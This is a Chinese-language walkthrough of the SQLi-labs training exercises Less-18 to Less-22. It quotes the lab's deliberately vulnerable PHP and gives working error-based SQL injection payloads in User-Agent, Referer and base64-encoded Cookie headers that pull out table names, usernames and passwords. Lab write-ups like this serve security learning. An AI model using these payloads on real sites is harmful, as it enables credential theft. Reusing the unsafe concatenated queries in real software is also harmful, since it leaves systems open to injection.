sqli-lab-Less-18-22

首先对靶场源码进行分析

1
$uagent = $_SERVER['HTTP_USER_AGENT'];

php $_SERVER[‘HTTP_USER_AGENT’]用法介绍
在PHP中HTTP_USER_AGENT是用来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息
显示结果为:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400
即为User-Agent中的信息

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这里可以看见$uagent被传进来拼接在sql语句上,因此,我们可以以此进行报错注入

爆库名

User-Agent: 1',1,updatexml(1,concat(0x5e,database()),1))#

爆表名

User-Agent: 1',1,updatexml (1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1))#

爆字段

只能一个一个爆

User-Agent: 1',1,updatexml (1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 0,1)),1))#

爆数据

User-Agent: 1',1,updatexml (1,concat(0x5c,(select username from users limit 0,1)),1))#

这关视频里的解题和正确的解题方式有出入,把我误导了,还好有优秀的同学伸出援手,不然真不知道要卡到什么时候

小结

1
2
3
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
row1 = mysql_fetch_array($result1);

源码中会将我们输入的用户名和密码带入数据库查询,如果只输入了用户名或者密码$sql就为0,$result1也为0,row1也为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

}

这个if语句就不会执行,那么其中的

1
2
3
4
5
6
7
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());

不会执行,那么即使我们修改了请求头中的User-Agent也没有用

Less-19

和上题一样,这里我们必须输入用户名和密码

1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

注意源码中的格式,values值有两个,我们要写成这个格式
1',1)#
演示一个爆库名
1',updatexml(1,concat(0x5e,database()),1))#

Less-20

第二十关当我们输入正确页面时候cookie字段显示在页面上
Cookie: uname=admin'and updatexml(1,concat(0x5e,database()),1)#

接下来的动作和上面两关一样

Less-21

先输入用户名和密码

抓包

发现其cookie值采用了base64编码,在程序源码中也有相应的解码,所以注入语句需要编码
查看源码

1
2
3
4
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);

由于base64编码一些特殊符号可能会出现问题,所以不能使用–+ #这样的字符,可以使用and ‘1’=’1
'and updatexml(1,concat(0x5e,database()),1) and '1'='1

1
$sql="SELECT * FROM users WHERE username=(''and updatexml(1,concat(0x5e,database()),1) and '1'='1') LIMIT 0,1";

爆库名

'and updatexml(1,concat(0x5e,database()),1) and '1'='1
base64编码后
J2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSxkYXRhYmFzZSgpKSwxKSBhbmQgJzEnPScx

爆表名

'and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) and '1'='1

爆字段

'and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1)),1) and '1'='1

爆数据

'and updatexml(1,concat(0x5e,(select username from users limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select group_concat(username) from users limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select group_concat(username,password) from users limit 0,1)),1) and '1'='1

还是推荐使用limit比较稳妥

Less-22

和Less-21大同小异
查看源码

1
2
3
4
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

只需要将单引号替换为双引号
"and updatexml(1,concat(0x5e,database()),1) and "1"="1